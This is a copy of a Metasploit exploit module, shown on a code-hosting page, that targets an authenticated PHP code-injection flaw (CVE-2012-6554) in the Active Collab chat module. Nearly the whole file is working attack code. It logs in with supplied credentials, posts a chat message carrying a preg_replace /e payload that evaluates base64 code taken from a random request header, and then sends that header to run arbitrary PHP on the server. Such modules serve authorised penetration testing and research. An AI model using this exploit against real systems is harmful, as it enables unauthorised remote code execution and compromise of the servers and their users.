Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/http/activecollab_chat.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info={})11super(update_info(info,12'Name' => 'Active Collab "chat module" Remote PHP Code Injection Exploit',13'Description' => %q{14This module exploits an arbitrary code injection vulnerability in the15chat module that is part of Active Collab versions 2.3.8 and earlier by16abusing a preg_replace() using the /e modifier and its replacement17string using double quotes. The vulnerable function can be found in18activecollab/application/modules/chat/functions/html_to_text.php.19},20'License' => MSF_LICENSE,21'Author' =>22[23'mr_me <steventhomasseeley[at]gmail.com>', # vuln discovery & msf module24],25'References' =>26[27['CVE', '2012-6554'],28['OSVDB', '81966'],29['URL', 'http://www.activecollab.com/downloads/category/4/package/62/releases'],30],31'Privileged' => false,32'Payload' =>33{34'Keys' => ['php'],35'Space' => 4000,36'DisableNops' => true,37},38'Platform' => ['php'],39'Arch' => ARCH_PHP,40'Targets' => [['Automatic',{}]],41'DisclosureDate' => '2012-05-30',42'DefaultTarget' => 0))4344register_options(45[46OptString.new('URI',[true, "The path to the ActiveCollab installation", "/"]),47OptString.new('USER',[true, "The username (e-mail) to authenticate with"]),48OptString.new('PASS',[true, "The password to authenticate with"])49])50end5152def check5354login_path = "public/index.php?path_info=login&re_route=homepage"55uri = normalize_uri(datastore['URI'])56uri += (normalize_uri(datastore['URI'])[-1, 1] == "/") ? login_path : "/#{login_path}"5758cms = send_request_raw({'uri' => uri}, 25)5960uri = normalize_uri(datastore['URI'])61uri += (normalize_uri(datastore['URI'])[-1, 1] == "/") ? 'public/assets/modules/chat/' : '/public/assets/modules/chat/'6263chat = send_request_raw({'uri' => uri}, 25)6465# cant detect the version here66if (cms and cms.body =~ /powered by activeCollab/)67# detect the chat module68if (chat and chat.code == 200)69return Exploit::CheckCode::Detected70end71end72return Exploit::CheckCode::Safe73end7475def exploit76user = datastore['USER']77pass = datastore['PASS']78p = Rex::Text.encode_base64(payload.encoded)79header = rand_text_alpha_upper(3)80login_uri = normalize_uri(datastore['URI'])81login_uri += (normalize_uri(datastore['URI'])[-1, 1] == "/") ? 'public/index.php?path_info=login' : '/public/index.php?path_info=login'8283# login84res = send_request_cgi({85'method' => 'POST',86'uri' => login_uri,87'vars_post' =>88{89'login[email]' => user,90'login[password]' => pass,91'submitted' => "submitted",92}93}, 40)9495# response handling96if res and res.code == 30297if res.get_cookies =~ /ac_ActiveCollab_sid_[a-zA-Z0-9]+=(.*); expires=/98acsession = $199end100elsif res and res.body =~ /Failed to log you in/101print_error("#{rhost}:#{rport} Could not login to the target application as #{user}:#{pass}")102elsif res and res.code != 200 or res.code != 302103print_error("#{rhost}:#{rport} Server returned a failed status code: (#{res.code})")104end105106# injection107iuri = normalize_uri(datastore['URI'])108iuri += (normalize_uri(datastore['URI'])[-1, 1] == "/") ? 'index.php' : '/index.php'109iuri << "?path_info=chat/add_message&async=1"110phpkode = "{\${eval(base64_decode(\$_SERVER[HTTP_#{header}]))}}"111injection = "<th>\");#{phpkode}</th>"112cookies = "ac_ActiveCollab_sid_eaM4h3LTIZ=#{acsession}"113res = send_request_cgi({114'method' => 'POST',115'uri' => iuri,116'headers' =>117{118'cookie' => cookies119},120'vars_post' =>121{122'submitted' => "submitted",123'message[message_text]' => injection,124'message[chat_id]' => "1",125'message[posted_to_user_id]' => "all"126}127}, 25)128129euri = normalize_uri(datastore['URI'])130euri += (normalize_uri(datastore['URI'])[-1, 1] == "/") ? 'public/index.php' : '/public/index.php'131euri << "?path_info=/chat/history/1"132133# execution134res = send_request_cgi({135'method' => 'POST',136'uri' => euri,137'headers' =>138{139header => p,140'cookie' => cookies141}142})143end144end145146147